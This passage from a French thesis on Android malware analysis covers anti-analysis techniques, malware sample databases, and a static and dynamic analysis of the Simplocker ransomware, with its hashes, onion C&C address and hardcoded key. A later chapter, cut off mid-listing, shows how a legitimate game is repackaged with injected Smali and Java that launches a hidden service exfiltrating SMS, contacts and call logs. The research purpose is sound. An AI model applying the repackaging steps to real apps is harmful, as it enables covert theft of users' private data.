Lors de l’analyse, les entrees utilisateurs sont gerees manuellement par l’analyste, il n’y a pasd’entrees aleatoires comme pour le service Web Nviso.

Afin de pouvoir tester le bon fonctionnement de DroidBox, un code Java est propose, ce codeeffectue les actions citees au-dessus. J’ai mis en place un APK a partir de ce code pour pouvoirrecolter les resultats de l’analyse. Toutes les activites ont bien ete enregistrees. Au final, DroidBoxlivre un JSON organise par types d’activites, par temps et par des informations supplementairesconcernant l’activite en soit (contenu du SMS envoye, numero, etc.).

https://github.com/pjlantz/droidbox

51

4.5. ISOLATION Benoıt Zuckschwerdt

Figure 4.11 – Sortie de DroidBox pour l’analyse d’un code envoyant des SMS et utilisant la cryp-tographie.

52

CHAPITRE 4. METHODOLOGIE D’ANALYSE SOUS ANDROID Benoıt Zuckschwerdt

4.6 Techniques d’anti-analyse

Il existe plusieurs techniques pour rendre l’analyse statique et dynamique d’une application An-droid difficile.

Voila quelques techniques pouvant proteger du code de l’analyse statique [29] :

— L’obfuscation des noms (variables, methodes, parametres, etc.)Rend le code plus difficile a lire, par consequent l’analyse sera plus longue.

— L’obfuscation arithmetiqueIl s’agit de compliquer les operations arithmetiques ou encore d’utiliser des operations arithmetiquespour obfusquer les chaınes de caracteres. L’analyse prendra plus de temps.

— L’utilisation de chiffrement pour les chaınes de caracteres, les ressources ou encore pour lecodeLe chiffrement peut etre un grand obstacle pour l’analyse statique, car si la cle de dechiffrementn’est pas presente dans l’application, mais est par exemple livre par un serveur distant, onsera oblige d’analyser l’application de maniere dynamique.

— L’obfuscation des ressourcesCela rendra plus compliquer l’analyse et par consequent demandera plus de temps.

— L’execution de code distantCette protection enmpeche l’analyse statique, car le code n’est pas present dans l’APK, maislivre par un serveur distant.

— L’obfuscation du flux du codeIl s’agit de creer un code dont le flux est desagreable a lire, quitte a impacter les performancesde l’application. Cette protection demandera plus de temps a l’analyste.

Pour ce qui est de l’analyse dynamique [34] [23] :

— Detection de debogueurC’est realisable de plusieurs manieres, on peut par exemple detecter un point d’arret avec letemps.

— Detection de l’environnement virtuelOn peut utiliser des ”bombes” (decrit en-dessous).

— Detection de modification de la memoireOn peut dupliquer la memoire, ou encore effectuer des controles d’integrite.

— Detection d’un appareil rootePour cela il suffit d’essayer de lancer la commande su.

— Detection d’alteration des ressources ou des librairies partageesA nouveau on peut utiliser des controles d’integrite.

— Detection des hooks de fonctionsOn peut effecter des tests sur les fonctions pour verifier qu’elles agissent de la maniere voulue.Ceci compliquera les hooks.

Pour l’analyse dynamique, on peut egalement utiliser se qu’on appelle des ”bombes”. Il s’agit dese baser sur une information comme le temps, la localisation, l’adresse IP ou encore des actions del’utilisateur dans le but de detecter si un environnement virtuel ou d’analyse est utilise.

Connaissant les environnements virtuels et de tests, nous pouvons remarquer plusieurs differencespar rapport a l’appareil d’un utilisateur reel. Ainsi, on peut egalement imaginer des verifications sur

53

4.7. BASE DE DONNEES DE MALICIELS Benoıt Zuckschwerdt

la liste des contacts. Est-elle pleine ? Est-elle reelle ? Ceci est aussi valable pour l’agenda, les messages,l’historique des appels, etc. Il est important que la machine utilisee pour l’analyse contiennent desdonnees proches que celles qu’aurait un utilisateur.

4.6.1 Obfuscateurs Java

Il existe beaucoup d’obfuscateurs Java, la plupart sont des solutions payantes.

Produit Licence Statique Dynamique Lien

ProGuard Open-source Oui Non http://proguard.sourceforge.net/

yGuard Freeware Oui Non http://www.yworks.com/products/yguard

DexGuard Proprietaire Oui Oui https://www.guardsquare.com/dexguard

Allatori Proprietaire Oui Non http://www.allatori.com/

DashO Proprietaire Oui Oui https://www.preemptive.com/products/dasho/

DexProtector Proprietaire Oui Oui https://dexprotector.com/

KlassMaster Proprietaire Oui Non http://www.zelix.com/klassmaster/

FuardIt Proprietaire Oui Oui https://www.arxan.com/

Table 4.2 – Obfuscateurs Java

Certains de ces outils ajoutent egalement des controles d’integrite, ce qui empecherait une appli-cation modifiee de maniere malveillante de fonctionner.

4.7 Base de donnees de maliciels

Pour pouvoir effectuer l’analyse d’un maliciel il faut trouver un ou plusieurs echantillons dumaliciel (souvent appele ”sample”). Il existe plusieurs bases de donnees recensant des milliers demaliciels. Voici une liste de services proposant des maliciels Android.

Service Demande d’acces Lien

AVCaesar Oui http://avcaesar.lu/

Contagio mobile Oui http://contagiominidump.blogspot.ch/

Drebin Dataset Oui http://user.informatik.uni-goettingen.de/~darp/drebin/

VirrusShare Oui http://virusshare.com/

Table 4.3 – Bases de donnees de maliciels

54

Chapitre 5

Analyse statique de Simplocker

Sommaire5.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56

5.2 Analyse des fichiers et ressources . . . . . . . . . . . . . . . . . . . . . . 57

5.2.1 Desarchivage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

5.2.2 Fichier Manifest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

5.2.3 Ressources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

5.2.4 Certificats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

5.3 Services en ligne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

5.3.1 VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

5.3.2 Dexter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

5.4 Decompilation de Simplocker.A avec JD Project . . . . . . . . . . . . 60

5.4.1 Obfuscation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60

5.4.2 Communication avec le C&C . . . . . . . . . . . . . . . . . . . . . . . . . 61

5.4.3 Chiffrement des fichiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

5.5 Decompilation de Simplocker.B avec JD Project . . . . . . . . . . . . 62

5.5.1 Demarrage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

5.5.2 Communication avec le C&C . . . . . . . . . . . . . . . . . . . . . . . . . 62

5.5.3 Chiffrement des fichiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

5.5.4 Dechiffrement des fichiers . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

55

5.1. INTRODUCTION Benoıt Zuckschwerdt

5.1 Introduction

Le maliciel choisi pour l’analyse est Simplocker, il s’agit d’un ransomware utilisant la cryptogra-phie et actif depuis 2014. Le vecteur d’infection de ce code malveillant est le Drive-by Download,l’utilisateur est donc leurre et pousse a installer l’application par lui-meme.

Pour cette analyse les deux echantillons suivant ont ete recuperes :

— Hash MD5 : f82277861171fa1fe4c956b274fbd2d7— Hash SHA256 : 6fc6cf09595331f0191f2b2bb86b3bf64b04dd6b02e3f342a308e1b59d1e0863— Nom du package : com.fbsmanager.umgr— Nom utilise pour l’analyse : Simplocker.A— Date la plus ancienne trouvee : 07.06.2014

— Hash MD5 : fd694cf5ca1dd4967ad6e8c67241114c— Hash SHA256 : 8a918c3aa53ccd89aaa102a235def5dcffa047e75097c1ded2dd2363bae7cf97— Nom du package : org.simplelocker— Nom utilise pour l’analyse : Simplocker.B— Date la plus ancienne trouvee : 27.05.2014

Le premier a ete obtenu depuis http://virusshare.com et le deuxieme depuis http://sanddroid.xjtu.edu.cn:8080. Il s’agit de deux versions differentes de Simplocker, la difference principale estque le premier utilise XMPP pour communiquer alors que le deuxieme passe par un service cacheTOR. Cette analyse porte principalement sur le deuxieme echantillion (Simplocker.B).

56

CHAPITRE 5. ANALYSE STATIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

5.2 Analyse des fichiers et ressources

5.2.1 Desarchivage

Pour commencer il faut desarchiver l’APK, avec par exemple la commande unzip. Puis il faututiliser dex2jar pour convertir le fichier classes.dex en jar afin de pouvoir le decompiler plus tarden Java avec JD ou CFR ou encore avec ApkTool pour acceder au code Smali.

5.2.2 Fichier Manifest

Le manifest est facile a recuperer, on peut directement acceder au fichier AndroidManifest.xml.Pour le decoder on peut utiliser ApkTool (apktooldsimplocker.apk) afin que le fichier soit bienlisible. Ces manifests possedent les permissions suivantes :

Permissions Danger [8] Description

ACCESS_NETWORK_STATE Non Permet d’acceder a des informations sur le reseauCALL_PHONE Oui Permet de lancer des appels sans confirmation de l’utilisateurCAMERA Oui Permet d’utiliser les camerasGET_TASKS ? Permet d’obtenir des informations sur les taches courantesINTERNET Non Permet d’ouvrir des sockets reseau.READ_EXTERNAL_STORAGE Oui Permet la lecture sur les stockages externesREAD_PHONE_STATE Oui Permet la lecture seul sur l’etat du telephoneRECEIVE_BOOT_COMPLETED Non Permet de se lancer au demarrageSEND_SMS Oui Permet d’envoyer des SMSWAKE_LOCK Non Permet de garder le processeur et l’ecran actifWRITE_EXTERNAL_STORAGE Oui Permet l’ecriture sur les stockages externes

Table 5.1 – Permissions de Simplocker.A

Permissions Danger [8] Description

ACCESS_NETWORK_STATE Non Permet d’acceder a des informations sur le reseauINTERNET Non Permet d’ouvrir des sockets reseau.READ_EXTERNAL_STORAGE Oui Permet la lecture sur les stockages externesREAD_PHONE_STATE Oui Permet la lecture seul sur l’etat du telephoneRECEIVE_BOOT_COMPLETED Non Permet de se lancer au demarrageWAKE_LOCK Non Permet de garder le processeur et l’ecran actifWRITE_EXTERNAL_STORAGE Oui Permet l’ecriture sur les stockages externes

Table 5.2 – Permissions de Simplocker.B

On remarque deja plusieurs permissions suspectes / dangereuses. Les permissions READ EXTERNAL STORAGE

(lecture) et WRITE EXTERNAL STORAGE (ecriture, suppression) sont suffisantes pour pouvoir chiffrerles donnees de la cartes SD.

57

5.3. SERVICES EN LIGNE Benoıt Zuckschwerdt

5.2.3 Ressources

Plusieur ressources peuvent deja nous faire comprendre que l’on a a faire a un ransomeware. No-tament le logo du FBI ()res/drawable/jkuluo.png) et un fichier XML ()res/layout/moneypack.xml) contenant un texte de demande de rancon.

To unlock your device and avoid legal persecution to the maximum extent of the law, you areobligated to pay a fine of $200. Acceptable payment must be made through GreenDot MoneyPak andVanilla Reload. Load a card(s) with $200 and enter the code(s) below. MoneyPak / Vanilla Reloadcards can be found in most stores, gas stations and paypoints. As soon as the money arrives to theU.S. Department of the Treasury, your device will be unblocked in 24 hours

Ce message fait partie de Simplocker.A, pour l’autre echantillion on a affaire a du russe dans uneimage.

5.2.4 Certificats

Pour Simplocker.A, on peut voir que le certificat situe dans le dossier META-INF a comme organi-sation XXX Video Premium HD. Il est tres probable que les auteurs de ce maliciel laisse croire qu’ils’agit d’une application pornographique, Google Play n’autorisant pas ce type d’application sur sonmarche, cela peut pousser l’interet de certains utilisateurs a aller chercher ce type d’applications surdes marches alternatifs, ou encore de ceder a une publicite.

5.3 Services en ligne

5.3.1 VirusTotal

Sur virustotal.com, la plupart des anti-virus reconnaissent l’echantillion Simplocker.A utilise,36 anti-virus reconnaissent un maliciel et 22 d’entre-eux precise qu’il s’agit d’un ransomware pourun total de 56 anti-virus. On obtient plusieurs informations sur les packages, notamment leurs noms,respectivement com.fbsmanager.umgr et org.simplocker, la version minimum d’Android SDK (9),la version cible (21, 17), ainsi que les activites, services et les recepteurs suivants :

— com.fbsmanager.umgr.MainActivity (Activite)— com.fbsmanager.umgr.Main (Activite)— com.fbsmanager.umgr.hIfIOdOWQM (Activite)— com.fbsmanager.umgr.RJLHgVP (Service)— org.simplelocker.Main (Activite)— org.simplelocker.MainService (Service)— org.torproject.android.service.TorService (Service)

Concernant les recepteurs et l’action qui leur est lie :— com.fbsmanager.umgr.Utrpt recoit BOOT_COMPLETED— com.fbsmanager.umgr.qeumoui recoit ACTION_EXTERNAL_APPLICATIONS_AVAILABLE— com.fbsmanager.umgr.GhhjIr recoit DEVICE_ADMIN_ENABLED— org.simplelocker.ServiceStarter recoit BOOT_COMPLETED— org.simplelocker.SDCardServiceStarter recoit ACTION_EXTERNAL_APPLICATIONS_AVAILABLE

58

CHAPITRE 5. ANALYSE STATIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

L’action BOOT_COMPLETED est diffusee lors du demarrage aux applications ayant la permissionRECEIVE_BOOT_COMPLETED et declarant un recepteur dans le manifeste sur une classe etendue deBroadcastReceiver.

ACTION_EXTERNAL_APPLICATIONS_AVAILABLE est diffusee peu apres BOOT_COMPLETED.

DEVICE_ADMIN_ENABLED est recue lorsque l’utilisateur autorise l’application en tant qu’adminis-trateur (Reglages/Securite/Administrateurs de l’appareil) [7] [6].

VirusTotal nous livre egalement quelques informations interessantes, dont la liste des URLstrouvees. Pour Simplocker.A, celle-ci contient plusieurs liens sur http://jabber.org/protocol/

et un lien sur http://www.igniterealtime.org/projects/smack/. A savoir que Jabber est un ser-vice base sur XMPP et que Smack est une librairie client open-source pour XMPP.

XMPP est une technologie pour la communication en temps reel, elle utilise XML et permet demettre en place des messageries instantanees et de determiner la disponibilite d’une entitee utilisantXMPP (hors ligne / en ligne / occupe) [44]. On emet l’hypothese que Jabber est utilise pour unecommunication entre le maliciel et un serveur C&C.

Pour Simplocker.B, on decouvre entre autre une adresse TOR :

— http://example.com/ : Certainement utilise pour tester la connexion a Internet— http://xeyocsu7fu2vjhxs.onion/ : Certainement l’adresse TOR du serveur C&C— https://check.torproject.org : Adresse officiel pour tester la connexion a TOR.

5.3.2 Dexter

On peut voir le manifest sous une forme correcte, ce qui permet de confirmer a nouveau quecette application utilise bel et bien la permission RECEIVE_BOOT_COMPLETED pour recevoir l’actionBOOT_COMPLETED qui est diffusee lors du demarrage de l’appareil (voir figure 5.1). Dans Simplo-cker.A, cette action est recue par la classe Utrpt qui devrait etre une classe etendue de la classeBroadcastReceiver. Et est recue par la classe ServiceStarter pour Simplocker.B.

Dexter nous livre quelques graphiques dont une estimation des packages obfusques ou non (voirfigure 5.2), concernant Simplocker.B, aucun packages obfusques n’est trouves.

Figure 5.1 – Simplocker.A : Receiver declare dans le manifest afin de pouvoir executer du code lorsdu demarrage

59

5.4. DECOMPILATION DE SIMPLOCKER.A AVEC JD PROJECT Benoıt Zuckschwerdt

Figure 5.2 – Simplocker.A : Packages obfusques en rouge et non obfusques en vert

5.4 Decompilation de Simplocker.A avec JD Project

5.4.1 Obfuscation

On remarque qu’il y a une obfuscation du flux du code dans certaines classes Java (voir figure5.3). Par consequent il n’y a pas beaucoup de variables dont le nom est clair. Il y a egalement quelquesnoms de classse et de methodes obfusquees, mais la plupart sont en clair.

Figure 5.3 – Obfuscation du flux du code

Il s’avere qu’il y a peu d’obfuscation du flux du code au final, il y a surtout du code inutile. Ensupprimant ce code inutile, la lisibilite est grandement amelioree. On peut facilement supprimer cesappels inutiles en utilisant l’expression reguliere suivante "(FuckAVFunction[0-9]{1,2}.+;)".

60

CHAPITRE 5. ANALYSE STATIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

import re, sys

file_content = ""

if len(sys.argv) != 2:

print "Usage: %s <file>" % sys.argv[0]

exit()

else:

filename = sys.argv[1]

f = open(filename, "r")

file_content = f.read()

f.close()

to_delete = re.findall("(FuckAVFunction[0-9]{1,2}\(.+\);)", file_content)

for td in to_delete:

file_content = file_content.replace(td, "")

print "[+] %i function calls deleted" % len(to_delete)

o = open(filename+".unobf", "w")

o.write(file_content)

print "[+] Output:", filename+".unobf"

Listing 2: Suppression des appels inutiles en Python

5.4.2 Communication avec le C&C

La classe Constants contient les constantes utilisees pour identifier les differentes commandesenvoyees (figure 5.4). La classe BotCore gere ces memes commandes. Le nom des commandes nousdonne deja une bonne idee de leur fonction, il sera possible de recuperer les requetes envoyees etrecues lors de l’analyse dynamique. On peut confirmer que le C&C est contacte via XMPP (figure5.5).

Figure 5.4 – Constants.class - Constantes utilisees pour identifier les commandes

61

5.5. DECOMPILATION DE SIMPLOCKER.B AVEC JD PROJECT Benoıt Zuckschwerdt

Figure 5.5 – BotCore.class - Utilisation de XMPP

5.4.3 Chiffrement des fichiers

C’est la classe FilesEncryptor qui s’occupe de trouver les fichiers, du chiffrement et du dechiffrementElle possede les methodes suivantes (sans prendre en compte les methodes utilisees pour l’obfusca-tion) :

— deleteFile - Pour supprimer les fichiers originaux— getFileNames - Pour obtenir la liste des fichiers a chiffrer— encrypt - Pour chiffrer les fichiers— decrypt - Pour dechiffrer les fichiers

5.5 Decompilation de Simplocker.B avec JD Project

5.5.1 Demarrage

Lorsque l’application est executee c’est l’activite principale (org.simplelocker.Main) qui estlancee, celle-ci va ensuite demarrer le service org.simplelocker.MainService qui s’ocupera d’ini-tialiser et de lancer le service TOR, de lancer le chiffrement des fichiers et d’afficher la demande derancon.

Ce service se base sur la variable DISABLE_LOCKER (qui est une preference partagee geree par laclasse SharedPreferences) pour se desactiver. La classe SharedPreferences est un outil permettantde sauver et retrouver des pairs de cle/valeur pour les types simples (boolean, float, int, long et string).Ces donnees sont persistantes (meme si l’application est tuee, elles ne seront pas supprimees) [9].

Le service principale (MainService) est egalement demarre via des BroadcastReceivers. Laclasse SDCardServiceStarter le fait lorsque l’action ACTION_EXTERNAL_APPLICATIONS_AVAILABLE

est recue et la classe ServiceStarter le fait lorsque l’action BOOT_COMPLETED est recue. Ces actionsont ete decrites lors de l’analyse avec VirusTotal.

5.5.2 Communication avec le C&C

La communication avec le reseau TOR est geree par la classe TorService.

Lorsque ce service est lance une initialisation est faite (initTor()) et les fonctions suivantes sontexecutees :

62

CHAPITRE 5. ANALYSE STATIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

— initTorPaths :Cree (si besoin) et recupere les chemins pour pouvoir y placer les librairies libprivoxy.so,libtor.so, libprivoxy.so, libxtables.so et libtor.so situees dans le dossier lib/armeabi/.

— updateSettings :Charge les parametres partages.

— logNotice :Utilisee pour le debug.

— sendCallbackStatusMessage :Envoie un message sans attendre de retour pour avertir que le service TOR est lance.

— killTorProcess :Tue le processus de TOR.

— runTorShellCmd :Execute la commande :export HOME = le chemin absolu du repertoire bin cree et recupere par initTorPaths()et execute le binaire de tor (torrc).La connexion sera ensuite testee sur 127.0.0.1:9051, puis une authentification sera effectuee.

— runPrivoxyShellCmd :Execute privoxy, si le processus n’est pas trouve, l’execution est rententee apres 3 secondes.

Lors de l’initialisation, une serie d’evenements est declaree, ceux-ci sont gerees par la classeTorControlConnection. Lors de l’analyse dynamique on pourra capturer la communication avec leC&C.

Les identifiants des commandes utilisees pour communiquer avec le C&C sont declarees dans lefichier ITorService (figure 5.6). D’autres commandes plus specifiques a TOR sont declarees dans laclasse TorControlCommands.

Figure 5.6 – Simplocker.B : Identifiants des commandes utilisees

63

5.5. DECOMPILATION DE SIMPLOCKER.B AVEC JD PROJECT Benoıt Zuckschwerdt

5.5.3 Chiffrement des fichiers

Les fichiers sont parcourus et ceux ayant les extensions : jpeg, jpg, png, bmp, gif, pdf, doc, docx,txt, avi, mkv, 3gp, mp4 sont selectionnes pour etre chiffres. Cette liste d’extensions est definie parla constante EXTENSIONS_TO_ENCRYPT qui elle-meme se trouve dans Constants.class qui regroupedifferentes constantes.

La classe FilesEncryptor s’occupe de tester si le stockage externe est disponible en ecriture(isExternalStorageWritable), de parcourir les fichiers selon leurs extensions (getFileNames) etfinalement de lancer le chiffrement (encrypt) en faisant appel a la classe AesCrypt. La cle de chif-frement est hardcodee dans le code : jndlasf074hr. Ce qui permet en toute logique de pouvoirdechiffrer les donnees sans payer la rancon.

Les fichiers selectionnes pour le chiffrement seront lus puis pour chaque fichier, un nouveau fichiersera cree (ayant comme nom nomDuFichier.extension.enc) pour stocker le contenu chiffre dufichier, le fichier original sera ensuite supprime. L’algorithme de chiffrement utilise est AES en modeCBC avec PKCS7Padding.

5.5.4 Dechiffrement des fichiers

Le parcours des fichiers pour le dechiffrement se fait aussi par la fonction getFileNames(), ellerecuperera tous les fichiers finissant par *.enc, puis la fonction decrypt() sera appelee qui elle-memefera appelle a la methode decrypt() de la classe AesCrypt pour dechiffrer le fichier.

64

Chapitre 6

Analyse dynamique de Simplocker

Sommaire6.1 Environnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

6.2 Analyse manuelle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

6.3 Analyse avec DroidBox . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

6.3.1 Recuperation des donnees et suppression du maliciel . . . . . . . . . . . . 68

6.3.2 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

65

6.1. ENVIRONNEMENT Benoıt Zuckschwerdt

6.1 Environnement

J’ai opte pour l’utilisation de VirtualBox avec la distribution Kali (https://www.kali.org/),cette distribution possede deja plusieurs outils pour l’analyse. Il faut tout de meme installer AndroidSDK, Android Studio et DroidBox.

L’utilisation d’une machine virtuel permet de travailler dans un environnement sans gener lamachine hote et surtout de diminuer le risque d’infection de la machine hote.

6.2 Analyse manuelle

Des qu’on installe l’application l’ecran est bloque sur la note de rancon (figure 6.2). Meme enutilisant les touches home ou retour, la note sera reaffichee en pleine ecran lorsque l’on essayera denaviguer dans le telephone. En ouvrant un terminal depuis l’utilitaire ADB, on peut voir que nosfichiers on ete chiffres (figure 6.1).

La rancon nous demande de payer 260 UAH (environ 10 CHF) pour pouvoir dechiffrer nos fichiers.L’UAH est la monnaie ukrainienne.

Voici la traduction de la figure 6.2 :

Attention votre telephone est bloque !Cet appareil est verrouille pour la visualisation et la distribution de pornographie juvenile, de

zoophilie et d’autres perversions. Pour le debloquer vous devez payer 260 UAH (environ 10 CHF aucours d’aujourd’hui).

1. Localisez le kiosk le plus proche2. Choisissez MoneXy

3. Entrer le code 3809820491934. Faıte un depot de 260 UAH et appuyez sur payer

N’oubliez pas de prendre le recu !

Apres le paiement votre appareil sera debloque dans les 24 heures.

Si vous ne payez pas vous perdrer toutes vos donnees !

On fait peur a l’utilisateur pour augmenter les chances de paiement. Tout porte a croire que lepaiement est verifie manuellement vu la methode utilisee.

Figure 6.1 – Simplocker.B : Fichiers chiffres

66

CHAPITRE 6. ANALYSE DYNAMIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

Figure 6.2 – Simplocker.B : Note de rancon

67

6.3. ANALYSE AVEC DROIDBOX Benoıt Zuckschwerdt

6.3 Analyse avec DroidBox

Afin de pouvoir realiser une analyse dynamique avec DroidBox il faut mettre en place une machinevirtuelle Nexus 4 avec Android 4.1.2 (Jelly Beans), on peut le faire via l’Android Virtual Device(AVD) compris dans Android Studio. Des fichiers ont egalement ete crees et places sur la carte SD,ces fichiers sont des images legitimes, ainsi que des fichiers textes ayant une des extensions que ciblele maliciel. Il est possible de supprimer les applications installees sur l’AVD (Android Studio>AVDManager>Wipe data), cela ne supprimera par contre pas les donnees sur la carte SD.

En premier lieu, une authentification sera faite aupres du serveur TOR. La chaıne de caractere uti-lisee pour cette authentification est situee dans /data/data/org.simplelocker/app_data/control_auth_cookie.

L’application va essayer de se connecter a l’adresse TOR : xeyocsu7fu2vjhxs.onion (celle-cin’est plus atteignable a l’heure actuelle) des tentatives de connexion se feront en boucle. Malgre cela,les fichiers sont tout de meme chiffres et la demande de rancon affichee. Le maliciel ne se base passur les ordres du C&C pour appliquer sa charge.

Il semblerait que le maliciel envoie les informations suivantes au serveur distant [35] :— L’IMEI— Le modele de l’appareil— Le fabricant— La version du systeme d’exploitation

L’ordre de dechiffrement est livre par le serveur distant TOR, et vu que celui-ci n’est actuellementplus atteignable, payer la rancon a l’heure actuelle ne permettrait pas de dechiffrer ses fichiers.

6.3.1 Recuperation des donnees et suppression du maliciel

La cle de dechiffrement etant connue, plusieurs outils sont apparus permettant de dechiffrer lesfichiers et de supprimer ce code malveillant. Il existe d’ailleurs une tres bonne application Androidpour cela.

Simplelocker Cleaner : https://play.google.com/store/apps/details?id=com.cleanmaster.security.cryptolockercleaner

Il est egalement possible de le faire soi-meme, en utilisant le repackaging pour que Simplockerappelle la fonction decrypt() au lieu de encrypt(), puis de supprimer l’application avec ADB.

adb uninstall org.simplelocker

68

CHAPITRE 6. ANALYSE DYNAMIQUE DE SIMPLOCKER Benoıt Zuckschwerdt

6.3.2 Conclusion

Ce code malveillant aparu il y a deux ans est le premier ransomware utilisant le chiffrement surAndroid, bien qu’il possede une grosse erreur de conception (cle de chiffrement symetrique hardcodee)permettant de dechiffrer les fichiers sans payer la rancon, tout porte a croire que dans un futur proched’autres ransomwares vont faire leur apparition sur les smartphones Android.

L’utilisation du reseau TOR permet aux auteurs de ce code une communication simple a mettreen place et securisees, bien qu’un pare-feu reseau permet de facilement bloquer ce genre de connexion,cela n’aurait pas ete tres utile ici car le chiffrement se fait de toute maniere et la demande de ranconne passe pas par le reseau TOR.

En se basant sur l’evolution des ransomwares visant les ordinateurs de bureau, leurs premieresversions comportait egalement la cle hardcode et utilisait uniquement un chiffrement symetrique(c’est le cas pour les premieres versions de CryptoWall [28]). Si les ransomware Android suiventcette evolution, nous devrions en voir apparaıtre avec un couplage de chiffrement asymetrique etsymetrique (RSA et AES par exemple). Ceci permetterait d’eviter d’avoir la cle de dechiffrement surla machine et de garder de bonne performance (RSA etant plus lent que AES). Il serait egalementpas etonnant que les attaquants choississent le Bitcoin comme monnaie pour la rancon.

Que ca soit sur les smartphones, les ordinateurs de bureau ou encore sur les serveurs, les ransom-wares sont a la mode car ils rapportent de l’argent, ce qui est bien-sur une des principales motivationsdes auteurs de maliciels. On ne peut rien faire contre un ransomware bien fait, se qui pousse beau-coup d’utilisateurs a payer la rancon. A nouveau pour prevenir cette situation les sauvegardes sontla meilleure des habitudes.

69

6.3. ANALYSE AVEC DROIDBOX Benoıt Zuckschwerdt

70

Chapitre 7

Code malveillant sous Android

Sommaire7.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

7.2 Charge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

7.3 Serveur distant . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

7.4 Repackaging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

7.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

71

7.1. INTRODUCTION Benoıt Zuckschwerdt

7.1 Introduction

Ce chapitre a pour but de decrire la mise en place d’un code malveillant sur Android qui extra-dera des donnees sur un serveur distant. Comme vecteur d’infection nous utiliserons le repackagingd’une application legitime. Tout se fera en arriere plan et sans empecher le bon fonctionnement del’application cible.

7.2 Charge

Le but est d’extrader les donnees suivantes :

— Les SMS— Les contacts— L’historique des appels— L’adresse MAC de la carte wifi

Pour que cela soit possible il est necessaire que l’application ait les permissions suivantes :

— INTERNET

— READ_SMS

— READ_CONTACTS

— READ_CALL_LOG

— ACCESS_WIFI_STATE

Pour recuperer ces informations la librairie externe Android provider est utilisee. (https://github.com/EverythingMe/easy-content-providers/)

7.3 Serveur distant

Pour recuperer les informations et les visualiser, un serveur distant a ete mis en place. Il s’agitd’une serveur Apache avec un code PHP pour recuperer les donnees. (figure 7.1, 7.2 et 7.3)

Figure 7.1 – Visualisation des contacts

72

CHAPITRE 7. CODE MALVEILLANT SOUS ANDROID Benoıt Zuckschwerdt

Figure 7.2 – Visualisation de SMS sensibles (solde bancaire et code de confirmation)

Figure 7.3 – Visualisation des appels telephoniques

7.4 Repackaging

L’application legitime choisi est Ring Defense - TD, il s’agit d’un petit jeu gratuit (https://play.google.com/store/apps/details?id=de.siebn.ringdefense&hl=fr). Du point de vued’un attaquant, nous pourrions choisir un jeu payant afin de le distribuer de facon gratuite (etpar consequent de maniere illegale) sur d’autres marches.

Pour repacker cette application, ApkTool est l’outil ideal, il permet de decoder les ressources ainsique le manifeste, d’acceder au code Smali et de rebuilder le tout.

Le point d’entree choisie pour placer la charge est la methode onCreate de l’activite principaleRingDefense, cette methode est lancee au demarrage de l’application (listing 3). Dans ce pointd’entree nous ajoutons quelques lignes de codes (listing 4 en Java et 5 en Smali) permettant dedemarrer le service qui enverra les donnees au serveur distant.

73

7.4. REPACKAGING Benoıt Zuckschwerdt

.method public onCreate(Landroid/os/Bundle;)V

.locals 12

.param p1, "savedInstanceState" # Landroid/os/Bundle;

.annotation build Landroid/annotation/SuppressLint;

value = {

"InlinedApi"

}

.end annotation

.prologue

.line 73

invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

.line 74

invoke-virtual {p0}, Lde/siebn/ringdefense/RingDefense;->getContentResolver

()Landroid/content/ContentResolver;

move-result-object v3

const-string v4, "android_id"

invoke-static {v3, v4}, Landroid/provider/Settings$Secure;

->getString(Landroid/content/ContentResolver;Ljava/lang/String;)

Ljava/lang/String;

move-result-object v3

invoke-virtual {v3}, Ljava/lang/String;->hashCode()I

move-result v3

sput v3, Lde/siebn/ringdefense/RingDefense;->AndroidIdHash:I

.Point d’entree

.line 76

invoke-virtual {p0}, Lde/siebn/ringdefense/RingDefense;->createAdsView()V

.line 77

invoke-static {p0}, Lde/siebn/ringdefense/LicenseManager;

->init(Lde/siebn/ringdefense/RingDefense;)V

...

Listing 3: Emplacement du point d’entree dans l’activite principale

74

CHAPITRE 7. CODE MALVEILLANT SOUS ANDROID Benoıt Zuckschwerdt

StrictMode.ThreadPolicy policy =

new StrictMode.ThreadPolicy.Builder().permitAll().build();

StrictMode.setThreadPolicy(policy);

startService(new Intent(MainActivity.this, Thief.class));

Listing 4: Code java permettant le lancement du service

.line 28

new-instance v2, Landroid/os/StrictMode$ThreadPolicy$Builder;

invoke-direct {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V

invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;

->permitAll()Landroid/os/StrictMode$ThreadPolicy$Builder;

move-result-object v2

invoke-virtual {v2}, Landroid/os/StrictMode$ThreadPolicy$Builder;

->build()Landroid/os/StrictMode$ThreadPolicy;

move-result-object v9

.line 29

.local v9, "policy":Landroid/os/StrictMode$ThreadPolicy;

invoke-static {v9}, Landroid/os/StrictMode;

